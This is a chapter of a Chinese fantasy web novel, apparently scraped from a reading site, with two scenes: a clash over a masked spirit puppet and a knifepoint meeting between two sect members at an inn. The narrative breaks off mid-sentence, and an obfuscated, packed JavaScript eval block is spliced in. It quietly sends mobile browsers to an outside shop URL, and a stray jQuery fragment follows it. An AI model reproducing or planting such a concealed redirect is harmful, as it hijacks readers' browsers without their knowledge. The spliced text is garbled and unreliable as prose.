陈行未中途被郭倾辞半拖半拽拉出去悄悄摸摸不知道干什么去了,萧萱没管,一个人回了房间。
她正和楚枫玥有一搭没一搭的闲聊,有所感应似的透过窗户看了一眼屋顶。正好和灵首对上了视线。如果能看清面具之下的眼神的话。
“他很喜欢那个位置吗?怎么每次都站在那?”萧萱问。
“谁?”楚枫玥顺着萧萱的视线看过去,道,“这是全雅君的灵首?他怎么在这?”
“监视我吧。”萧萱无所谓的耸耸肩,这种事她倒是没什么感觉,甚至觉得很合理。
楚枫玥并不这么觉得,撂下一句“我去找他理论”匆匆走了。
只剩萧萱与他大眼瞪小眼……瞪面具。
她倒确实有点私事。
于是她对着房顶喊:“你不下来吗?”
后者不为所动。也有可能根本没听见。萧萱看四下无人飞身在灵首对面站定,打开话茬:“全雅君现在不在这里,和我说说你是谁呗?”
还是没有动静。萧萱知道这位在灵首中绝对是顶尖的存在,所以是他不愿意说还是无法挣脱控制?
她倒是有一个方法,只是,如果动了这边的身体,全雅君定然能感觉得到。
权衡利弊了一息不到,萧萱就决定好了。她左手起势右手汇聚了另一团灵气,二者融合在一起迸发出水亮的光泽。
然后她毫不犹豫的推进了灵首体内。
灵首身形晃了晃,萧萱一把摘下了他的面具。哪怕是她,也不免倒吸一口气。
他的脸色密密麻麻全是大大小小的疤痕,有几处甚至深可见骨,右脸下还有一处燎泡血水与脓混合留下褐黄色的痕迹。左眼有一道长划痕睁不开眼,右眼只能睁开点缝隙,看不清里面的眼珠是否完好。
根本分辨不出原来的脸。
她心里没来由痛了一下,说:“你是谁?你叫什么?”
灵首嘴唇颤抖了一瞬,紧接着音还没有飘出来他突然一滞,萧萱有所预料的退后。她原本站着的地方骤然被一道力量打碎了瓦片。
“萧姑娘光天化日之下撬人墙角,不太好吧?”全雅君施施然赶到,看见面具在萧萱的手上,目光冷得很。
萧萱笑了笑将手里的面具递上前:“全道长来的倒是快,我只是见他盯着我,以为要跟我说话呢。”
在全雅君的操控下,灵首抬手将面具取回重新戴在脸上,行为举止并不僵硬。看起来全雅君的能力也不容小觑。
“萧萧?!”陈行未的声音传来,他身后跟着楚枫玥,一齐紧张的看向房顶上的三人。
全雅君毫不客气:“说话?呵,说个话就要摘我灵首的面具吗?”
“我很讨厌别人不以真面具示人说话的,面对面更有氛围,不是吗?”萧萱笑着回敬。
“萧姑娘能让我的灵首不受控制,引灵术,对吗?”全雅君自顾自说着扯出一抹笑,丝毫没有注意下面陈行未逐渐僵硬的脸,“玄门派的秘法,略有耳闻。今日第一次见确实开眼,只是,我从未见过你,姑娘又是谁呢?孙婉清?不对,我见过她,那个仗着有爹胡作非为的大小姐,而且你也不姓孙。还是说,这个名字就是假的?”
“将他的灵魂引出来就可以无视都月的控制,我确实是这么想的,”萧萱承认的很干脆,“不过,别把我和那个资质平平只爱美的废物混为一谈。”
“玄门派的人也要干扰都月吗?”
“话别说的那么难听全道长,”他自以为是,萧萱干脆顺着他的想法认下了这个身份,“我真的只是顺路,遇到了公主好好放松一下而已。”
“你以为我会信吗?我是没见过你,不排除这四年里又出了什么天才。阁下功法高深看不出来内力,下面那位我可是看的清楚。”他视线扫过去,“玄门派鲜少踏入楚梵国,同为仙门,有必要藏着掖着吗?”
萧萱也垂下视线与陈行未对视。陈行未心跳如雷。他们的对话他听的一字不差,他虽然确实说过自己修习过仙家术法,可没这么直白的揭露体内有玄门派的内力啊!他还正在诡宗当卧底来着!
萧萱很快收回视线:“如果真的有什么计划,那我们见面的机会应该在都月,而不是侯府。”
提到侯府,全雅君才恍然回神。他还在侯府做事,就这么大张旗鼓的与萧萱对峙,早已吸引了一批人的目光。很显然萧萱也是这么想,两个人飞身下楼,全雅君挥了挥手,灵首很快消失不见。
萧萱看向了略显呆滞的陈行未。
“玄门派中,凡叫的上名字的并没有人姓萧,阁下究竟是?”全雅君还是问道。
“都月的长老就没有告诉过你,别拥有那么重的好奇心吗?也许就像你说的,我只是一个新来的天才,根本就不姓萧呢?”
“你……”问话问不通,家刚刚也差点被偷了。既然达不到目的,他甩了甩袖子,最后警告道,“不管你是谁,别想再打我灵首的主意!”
萧萱扯了个笑脸充当回应,目送全雅君的身影远去。
“怎么回事?”楚枫玥终于插上嘴,“他说的玄门派又是怎么回事?”
“哦,我好歹是个宗主,会点别的技能不足为奇吧?”
陈行未是明白那些不同源相互排斥什么的,但话是这么说,直觉总让他觉得那话像是在解释给他听。
“我还是有些在意……”萧萱摸着下巴沉思,“那个灵首很强,但面具之下那么多的疤痕……引灵术引出的是灵魂,那个灵首明明已经是死亡状态,怎么还能拥有灵魂?”
萧萱好像并没有过多在意他拥有玄门派内力的事情。甚至觉得在意料之内,可是,他总觉得不对。为什么接受的这么坦然?不会是已经发现他的身份了吧?陈行未的思绪飞得乱七八糟。
“那你打算怎么做?”只有楚枫玥在认真听她的话做出反应。
“不知道,找个时间再试一次吧。”
*
楚梵因为灵首伤人的事故,城门落下的时间也变早了。
幸好谭玉脚程快,不然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622381|203406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就要被拦在外面了。
“哎呀,检查的真严格啊。”她头戴斗笠手里随意把玩着一个三指宽的珍珠模样的不规则珠子。
她左看看右看看,似乎对这里很是新奇。可天色渐晚人们急匆匆往家赶,没人在意这么一个突兀的女子。
谭玉觉得无趣,走着走着看见一个店家正在挂灯笼照明。她抬头看牌匾,同福客栈。
好土的名字。
不过她看顺眼了。
撩了衣摆跨入店中。
“掌柜,住店~”
柜台的掌柜看见对方拍过来的一锭银子立刻应声:“好嘞,一间房?”
“对一间,住……两晚。”她依旧转着她的那颗珠子,但相较于之前微微流露出炫彩色的微光。她像是看到什么画面,自言自语道,“嗯?有趣,这种犄角旮旯的地方竟然还有别人?玄门派?!”
她还没来得及惊呼,后腰就被无声无息地抵上了什么东西。
“别动。”
作为被挟持的一方,谭玉丝毫没有畏惧,坦言:“哎呀,你吓我,万一我受到惊吓大声喊叫可就不好了。”
掌柜浑然不觉,依旧说道:“房间已经收拾好了,要现在带您上去吗?”他一抬眼就看见这位姑娘身后站着一位男子,还是在这住了好几天的客人。
“不用了,”谭玉笑了笑,“我先跟朋友吃个饭~”
说完,掌柜就眼睁睁看着面前的女子跟着身后的人走远。他疑惑不解,但没过多在意继续忙别的事情去了。
谭玉被带到桌前,已经有一个人落座了。她转了转眼珠,盯着那女人举止大方端庄,看见她微愣,很快又露出一个笑来:“你好。”
“是我来的不够巧了,你已经有别人作陪了。”谭玉假模假样的哭诉。
“坐。”那人并不接茬,松了威胁谭玉的刀,自顾自坐下接过另一个人沏的茶。
“哎呀,那么冷淡~”谭玉撇撇嘴,对于他的态度很是不满。她托起腮盯着对方的眼睛一字一顿道,“你对别人也是如此冷淡吗?玄门派的首席大弟子,能力最强的未来掌门人,云中靖?”
被揭露身份的云中靖并不恼怒,相反,他多向店小二要了份碗筷。
“你应该还没吃饭吧?要一起吃吗,鲛歧渊的谭雪茶?”
谭玉一愣,对方是在用自己的方式点明她的身份,就忍不住想笑。既然忍不住那干脆不忍了,她哈哈笑起来,动静大到周围人都用异样的眼光扫向他们。
她痛得捂住肚子仍旧停不下来,模样让云中靖都有些皱眉。她好不容易喘了口气:“谭雪茶?哈哈哈哈太好笑了!!”
云中靖立刻意识到自己猜错了:“你不是她?”
“都说玄门派的大师兄天纵奇才,看来却也不过如此。哈哈哈哈,我很好奇你为什么不猜我是言姬?哦对,你知道她长什么样。按理说谭雪茶参加了去年的宗门大比,你应该见过她才是,却说是我。记忆力不怎么样,视力也不怎么样,真有够傲慢的。”